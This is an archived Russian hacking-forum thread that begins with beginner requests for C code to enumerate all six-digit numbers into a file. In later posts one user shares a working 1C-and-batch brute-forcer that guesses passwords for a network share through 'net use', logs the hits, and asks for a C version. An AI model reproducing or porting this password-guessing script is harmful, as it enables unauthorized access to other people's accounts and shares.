Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Генератор 6ти значных чисел на с++ (на крайняк делфи)

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Компилируемые языки] >> Генератор 6ти значных чисел на с++ (на крайняк делфи)
Имя
Сообщение << Старые топики   Новые топики >>
Генератор 6ти значных чисел на с++ (на крайняк делфи) - 2008-11-12 16:57:56.093333   
AutomatiK

Сообщений: 112
Оценки: 0
Присоединился: 2008-10-16 15:56:11.326666
Дайте наводку.
Хочу написать генератор 6ти значных чисел (от 0 до 9) - генерируются всевозможные варианты 6ти значных чисел (именно всевозможные варианты - например: 432054, 554322,..) и сохраняется результат в файл. Не обязательно чтобы все знаки были разными, и сохранялся результат в файл (txt).
Задача - из простых конечно. Но прошу помочь советом - а именно дать наводку на использование функций и т.д и т.п.
Post #: 1
RE: Генератор 6ти значных чисел на с++ (на крайняк делфи) - 2008-11-12 17:45:58.776666   
dos 999

Сообщений: 331
Оценки: 0
Присоединился: 2007-12-17 10:49:07.556666
кинь майл в личку. пришлю прогу. писал уже нечто подобное
Post #: 2
RE: Генератор 6ти значных чисел на с++ (на крайняк делфи) - 2008-11-12 17:51:28.583333   
kolPeeX

Сообщений: 1456
Оценки: 0
Присоединился: 2007-01-25 14:57:57.683333
//без #include &lt;stdio.h&gt; int main() { FILE *fp=fopen("out.txt", "w+"); for(unsigned i=100000; i&lt;1000000; i++) fprintf(fp, "%d\n", i); fclose(fp); } //с нулями #include &lt;stdio.h&gt; int main() { FILE *fp=fopen("out.txt", "w+"); for(unsigned i=0; i&lt;1000000; i++) fprintf(fp, "%06d\n", i); fclose(fp); }
Если я правильно тебя понял :|
Post #: 3
RE: Генератор 6ти значных чисел на с++ (на крайняк делфи) - 2008-11-12 18:02:54.833333   
kreol

Сообщений: 823
Оценки: 0
Присоединился: 2007-03-08 03:13:06.876666
Ппц, какая сложная задача.

char s[7]; f = fopen("myFilrName", "w"); for (int i = '0'; i &lt;= '9'; i++) &nbsp; for (int j = '0'; j &lt;= '9'; j++) &nbsp;&nbsp;&nbsp;&nbsp; for (int l = '0'; k &lt;= '9'; k++) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for (int l = '0'; l &lt;= '9'; l++) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for (int m = '0'; m &lt;= '9'; m++) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for (int n = '0'; n &lt;= '9'; n++){ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; s[0] = i; s[1] = j; s[2] = k; s[3] = l; s[4] = m; s[5] = n; s[6] = '\0'; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fprintf(f, "%s%c", s, '\n'); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } fclose(f); Это только для шестизначных и быстро. Для генерации строки цифр любой длины нужна рекурсия.

upd. О, если чисто для цифр, то как у kolPeeX'а даже лучше будет.
Post #: 4
RE: Генератор 6ти значных чисел на с++ (на крайняк делфи) - 2008-11-12 19:01:38.236666   
AutomatiK

Сообщений: 112
Оценки: 0
Присоединился: 2008-10-16 15:56:11.326666
ой, ошибся при заполнении :)
——————-
Вот есть порядок действий и условия:
1. Длина строки = 6 символов
2. Выполнить цикл для перебора вариантов используя цифры от 0 до 9 (так чтобы на каждом месте побывали цифры от 0 до 9)
3. Добавить в начало каждой новой "уже сгенерируемой" строки цифры - к примеру 990232
4. Записать все варианты в .txt файл. Каждая 6ти значная последовательность начинается с новой строки.
——————–
Знаю что всё это можно выполнить несколькими циклами, но в голове пока каша :)
Post #: 5
RE: Генератор 6ти значных чисел на с++ (на крайняк делфи) - 2008-11-12 19:44:59.620000   
_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
Чел, тебе уже всё написали… Если ты в начало строки не можешь всунуть другую - то это тебе надо таки читать умные книжки по Си для начинающих.
Post #: 6
RE: Генератор 6ти значных чисел на с++ (на крайняк делфи) - 2008-11-13 03:54:52.746666   
AutomatiK

Сообщений: 112
Оценки: 0
Присоединился: 2008-10-16 15:56:11.326666
всё спасиб.
это я просто к слову :D
Post #: 7
RE: Генератор 6ти значных чисел на с++ (на крайняк делфи) - 2008-11-13 12:04:48.380000   
keys

Сообщений: 137
Оценки: 0
Присоединился: 2008-08-06 08:48:50.340000
for (int i = '0'; i &lt;= '9'; i++) а если ноль справа в таблице символов ?
например 1234567890

quote:

Если ты в начало строки не можешь всунуть другую - то это тебе надо таки читать умные книжки по Си для начинающих.

в книжках хотя бы пишут почему переменные в глобальной области - плохой стиль (т.е. не просто пишут что это вот плохой стиль и вы это не используйте, а пишут что это плохой стиль, потому что в проге появляются связи, которые потом трудно удалить, если появляется всё больше и больше функций читающих из глобали или вообще пишущих туда, потом эти функции не вырубишь топором (расширять программу становится невозможно и приходится закрывать целую ветвь виндовс, чтобы не разбираться в своих собственных кодах спустя 10 лет))

quote:

Хочу написать генератор 6ти значных чисел

rand() % 1000000
для изменения rand() исползуется srand(1), в которую вместо числа подставляется значение из time()
time() работает со структурой

updаtе:
вчитался у kreol'а нормальный вариант, необходимо переработать часть с зависимостью от символьной таблицы, а так то что надо

свой катанул, для первого условия, второе чо-то прочитал после того как написал, всё равно может интересно будет
#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;time.h&gt; main() { int i, n; n = time(NULL); for (i = 0; i &lt; 50; i++) { srand(((n+3)*2)%10000); if ((n = rand()%1000000) &gt;= 100000) printf("%d\n", n); } return 0; }
вывод

[guest@localhost tmp]$ ./test 222604 206285 751283 446745 231048 394925 863038 308015 389959 245029 501096 407069 426152 694426 218066 876362 608553 104782 921125 890480 871582 508677 660374 775305 851283 446745 231048 394925 863038 308015 389959 245029 501096 407069 426152 694426 218066 876362 608553 104782 921125 890480 871582 508677 660374 775305 [guest@localhost tmp]$ тут не соблюдается второе условие, насчёт каждой цифры, что уточнено во втором варианте задачи
Post #: 8
RE: Генератор 6ти значных чисел на с++ (на крайняк делфи) - 2008-11-13 12:42:24.583333   
_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
На, почитай умник про глобальные переменные. Если случаи, когда без них вообще невозможно обойтись - http://ru.wikipedia.org/wiki/Одиночка_(шаблон_проектирования)

А насчёт этого форума - то тут главное суть решения, а не то, где я объявляю переменные. Если я всё напишу через функции / локальные переменные / классы - то для новичков такой код будет сложным для понимания.
Post #: 9
RE: Генератор 6ти значных чисел на с++ (на крайняк делфи) - 2008-11-13 12:52:22.333333   
_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
quote:

ORIGINAL: keys

если это такая лабуда, почему ты схавал точку и стал просить у него исходники остальной программы
ты думаешь через гугл научишься чему-нибудь ? всяким мелочам, например ?

http://msdn.microsoft.com не посещаю, т.к. не нужно
ты вообще под виндовс сидишь ? как удалить программу из списка установленных программ через реестр знаешь ? не знаешь ? а чо не пойдёшь на microsoft.com не спросишь ? не скажут ? а почему ?
предпочитаю книги, т.к. там можно хотя бы чему-то научиться


http://msdn.microsoft.com/en-us/library/aa372105(VS.85).aspx
http://msdn.microsoft.com/en-us/library/ms954376.aspx
http://msdn.microsoft.com/en-us/library/ms724875(VS.85).aspx

Достаточно? Если есть мозг и интернет - то можно всему научиться. Вот если мозга недостаточно и сам не в состоянии разобраться - то приходится искать хорошие книги, где вся инфа подаётся разжёванной, на блюдичке.

P.S. 2-й раз уже обломался за эту тему ;), когда тебе надоест уже?
Post #: 10
RE: Генератор 6ти значных чисел на с++ (на крайняк делфи) - 2008-11-13 20:41:48.863333   
Denaturat

Сообщений: 1741
Оценки: 453
Присоединился: 2008-10-27 20:50:06.380000
quote:

ORIGINAL: _SaZ_

Достаточно? Если есть мозг и интернет - то можно всему научиться. Вот если мозга недостаточно и сам не в состоянии разобраться - то приходится искать хорошие книги, где вся инфа подаётся разжёванной, на блюдичке.


"Искусство Программирования" Кнута - это хорошая книга? Кормен? СИКП? :)
Post #: 11
RE: Генератор 6ти значных чисел на с++ (на крайняк делфи) - 2008-11-13 23:00:10.566666   
_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
Я в книгах оставлял ссылку на хорошую по Си. Поищи, если интересно =).
Post #: 12
RE: Генератор 6ти значных чисел на с++ (на крайняк делфи) - 2008-11-14 13:33:22.170000   
M_Volkov

Сообщений: 2
Оценки: 0
Присоединился: 2008-11-14 11:32:41.893333
Помогите юному bat-нику! Задача у меня похожая, написать брутфорс = генератор всевозможных комбинаций символов (не только цифр, но и букв, спецсимволов и пробел) + функция проверки. Генератор писал на 1С (это далеко не Си, в основном для бухгалтерии, но думаю поймете), используя итерации:
Функция Брутфорс(Комб, СчЭтапов) // брутфорс
 Для СчПодЭтапа = 1 По ДлНабора Цикл
  КомбПодЭтапа = Комб + Сред(ИсхНабор, СчПодЭтапа, 1);
  Если СчЭтапов > СтрДлина(КомбПодЭтапа) Тогда
   Если Брутфорс(КомбПодЭтапа, СчЭтапов) = 1 Тогда
    Возврат 1; 
   КонецЕсли;
  Иначе
   Если Проверка(КомбПодЭтапа) = 1 Тогда
    Возврат 1; 
   КонецЕсли;
  КонецЕсли;
 КонецЦикла;
КонецФункции
а проверку делаю bat (cmd) файлом:
@ECHO OFF
net use h: \\server\disk_h %1 /user:%2
IF NOT ERRORLEVEL 2 ECHO Искомая комбинация: %1 для %2 >> d:\test\test.txt
т.е. пытаюсь подключиться к сетевому ресурсу защищенный паролем, если сгенерированная комбинация (пароль) удачная, то создается ФайлСообщения - test.txt. Позже я этот bat-файл одной командной строкой прописал, в результате получилось:
Функция Проверка(Комбинация)
 WshShell=СоздатьОбъект("WScript.Shell");
 WshShell.Run("cmd /c net use h: \\server\disk_h """+Комбинация+""" /user:"+Пользователь+" && ECHO Искомая комбинация: """+Комбинация+""" для "+Пользователь+" >> "+ФайлСообщения, 0);
 Если ФС.СуществуетФайл(ФайлСообщения) = 1 Тогда
  Возврат 1;
 КонецЕсли;
 Возврат 0;  
КонецФункции // Проверка()
Все это медленно, но работает, пока не используются спецсимволы: &()[]{}^=;!+,'~", даже ковычки не спасают. Например, если после запятой в комбинации встретятся символы: at - bat-ник это как новую команду воспринимает, начинает ее исполнять.
Так вот, почему я сюда ломанулся, вроде говорят, что в Си таких проблем нет, и работает быстрее. Не могли бы, в качестве примера, этот bat-ник, или функцию проверки, или весь брутфорс с языка 1С на Си переписать?!
Хотелось бы не только "рыбу", но и "удочку" заиметь: где что почитать, где компилятор взять для начинающих по Си.
Заранее благодарю.
Post #: 13
RE: Генератор 6ти значных чисел на с++ (на крайняк делфи) - 2008-11-14 16:13:17.576666   
Barkass$

Сообщений: 1854
Оценки: 40
Присоединился: 2008-11-11 12:19:45.216666
Ужас ужас [&:] rus явно не айс :)
Post #: 14
RE: Генератор 6ти значных чисел на с++ (на крайняк делфи) - 2008-11-14 16:31:04.863333   
_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
Брутфорс на 1С - на башорг :D
Post #: 15
RE: Генератор 6ти значных чисел на с++ (на крайняк делфи) - 2008-11-14 18:23:28.966666   
Denaturat

Сообщений: 1741
Оценки: 453
Присоединился: 2008-10-27 20:50:06.380000
quote:

ORIGINAL: _SaZ_

Я в книгах оставлял ссылку на хорошую по Си. Поищи, если интересно =).


Керниган/Ричи? Пратт? или даже Керниган/Пайк? искать лень, тем более что на вопрос ты не ответил
Post #: 16
RE: Генератор 6ти значных чисел на с++ (на крайняк делфи) - 2008-11-14 18:51:41.476666   
_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
Ждите ответа… ждите ответа…

Чел, ты не понял, что я на тебя болт положил? Имей уважение к другим, тогда другие не будут иметь тебя.
Post #: 17
RE: Генератор 6ти значных чисел на с++ (на крайняк делфи) - 2008-11-14 19:40:25.340000   
Denaturat

Сообщений: 1741
Оценки: 453
Присоединился: 2008-10-27 20:50:06.380000
quote:

ORIGINAL: _SaZ_

Ждите ответа… ждите ответа…

Чел, ты не понял, что я на тебя болт положил? Имей уважение к другим, тогда другие не будут иметь тебя.


и что? мне необходимо срочно расплакаться? уважение, понимаешь ли, нужно заслужить; такая простая истина тебе о чём-нибудь говорит?

вот ответил бы на мой вопрос про bind2nd, например,- был бы у меня повод тебя уважать; а так - извини, продолжу развлекаться
Post #: 18
RE: Генератор 6ти значных чисел на с++ (на крайняк делфи) - 2008-11-14 20:09:21.803333   
tеstеr

Сообщений: 377
Оценки: -46
Присоединился: 2008-02-08 17:56:40.563333
quote:

ORIGINAL: M_Volkov
Хотелось бы не только "рыбу", но и "удочку" заиметь: где что почитать, где компилятор взять для начинающих по Си. …

Небольшой но хороший инструмент: http://www.bloodshed.net/devcpp.html
Хорошая недорогая книга - "Практикум по программированию на языке СИ" В.В.Подбельский
К этой книге ещё диск прилагается с компилятором gcc
Post #: 19
RE: Генератор 6ти значных чисел на с++ (на крайняк делфи) - 2008-11-17 08:36:21.760000   
M_Volkov

Сообщений: 2
Оценки: 0
Присоединился: 2008-11-14 11:32:41.893333
Конкретно эту книгу не нашел, нарыл подобное. Циклы и условный оператор затруднений не вызывает. Но как реализовать на Си команду: "net use h: \\server\disk_h ",e[kj" /user:Domen\Вася && ECHO Привет Вася, твой пароль ",e[kj" (бухло на EN), больше не забывай! >> c:\passВася.txt" - пока не нашел. Может подскажет кто то!? (Внимание, в комбинации возможны спецсимволы: &()[]{}^=;!+,'~")
Post #: 20
Страниц:  [1]
Все форумы >> [Компилируемые языки] >> Генератор 6ти значных чисел на с++ (на крайняк делфи)







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.